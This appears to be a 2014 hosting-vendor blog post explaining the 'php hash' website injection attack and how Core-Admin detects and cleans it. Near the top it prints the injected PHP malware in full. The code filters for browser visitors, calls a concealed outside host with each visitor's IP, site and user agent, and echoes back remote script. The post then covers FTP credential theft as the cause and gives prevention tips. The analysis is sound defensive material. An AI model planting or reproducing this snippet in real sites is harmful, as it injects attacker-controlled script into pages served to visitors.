Posted by on March 3, 2014
After a revision you find out that several web pages have been updated with code like follow or maybe a customer whose web is being blocked by the web browser is calling you because it is including suspicous code like:
<?php
#41f893#
error_reporting(0); ini_set('display_errors',0); $wp_wefl08872 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wefl08872) && !preg_match ('/bot/i', $wp_wefl08872))){
$wp_wefl0908872="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wefl08872);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wefl0908872);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08872wefl = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08872wefl,1,3) === 'scr' ){ echo $wp_08872wefl; }
#/41f893#
?>
These attacks do not pose any harm to the server if it is properly configured, but makes affected webpages to execute remote chatting code o ads that will make google chrome and many other browsers to block those pages because running that suspicious code.
Understanding these attacks
The problem about these attacks is that they update original files by including a “chirurgical” modifications making it difficult and annoying to get back to original state.
One option is to have a backup, but with the newer webs which use different shorts of caches and php-to-string files, makes it hard to recover. It is not possible to just recover those files by just replacing. You must get back to a consistent state (for example the last backup). This implies removing current web files and recover from backup files (so backup files don’t get mixed with current files that weren’t including at the backup).
After this, you must remember resetting/blocking all FTP accounts/password that were used during the attack.
First line of defense: know when happens the attack
Core-Admin provides you these knoledge as the attack happens. After the modification, Core-Admin’s file system watching service will report “possible php hash attack found” with an indication like follows:
Core-Admin: detecting php hash attack
After receiving this notification, you only have to run the following comand to find out the amount of files that were modified and the amount of FTP accounts that were compromised. The same command will help you through out the process of recovering infected files and updating ftp accounts’ password.
>> crad-find-and-fix-phphash-attack.pyc
After running above command, which only reports, you can now execute the same command with the following options to fix found files and to update FTP accounts:
>> crad-find-and-fix-phphash-attack.pyc --clean --change-ftp-accounts
How did this attack happen?
This attack is connected with a network of servers that are in charge of applying these modifications along with a virus/malware software that infects machines that use known FTP clients. Here is how the attack develops:
- By using known FTP clients that save passwords at known places at the file system, the first part of the attack is established..
- It is suspected that using public Wifis and insecure networks while creating FTP session may be part of the problem too.
- After this, your machines get exposed to the virus/malware software that extracts stored FTP accounts by sending it to the servers that will perform the FTP attack.
- With this information, modification servers (that’s how we call them) that finally attack by using those FTP accounts, downloading original files, updating them and then uploading them back to its original place.
Important notes about the attack
It is important to understand that modification servers do not carry out the attack just after receiving compromised FTP passwords. They will wait to have several passwords to the same system and also they will delay the attack to disconnect both incidents (the web hack and the infection at your computers).
This way, they hope unaware users to not connect both incidents which otherwise will trigger a anti-virus scan by the user to stop information leaking.
In the other hand, they also wait to have several accounts to carry out a massive attack looking for confusion and/or magnitude to increase likehood that part of the infection will survive.
How can I prevent it?
There are several actions you can take to avoid these attacks:
- Try to not save FTP accounts in your FTP client. Try to save them into an application that stores those passwords protected by a password..
- Avoid using public Wifis and untrusted shared connections (like hotels) to connect to your FTP servers.
- If it is possible, after doing FTP modifications, enable read-only mode or disable the FTP account using Core-Admin panel. This way, even though the password is compromised, no modification will be possible..
.
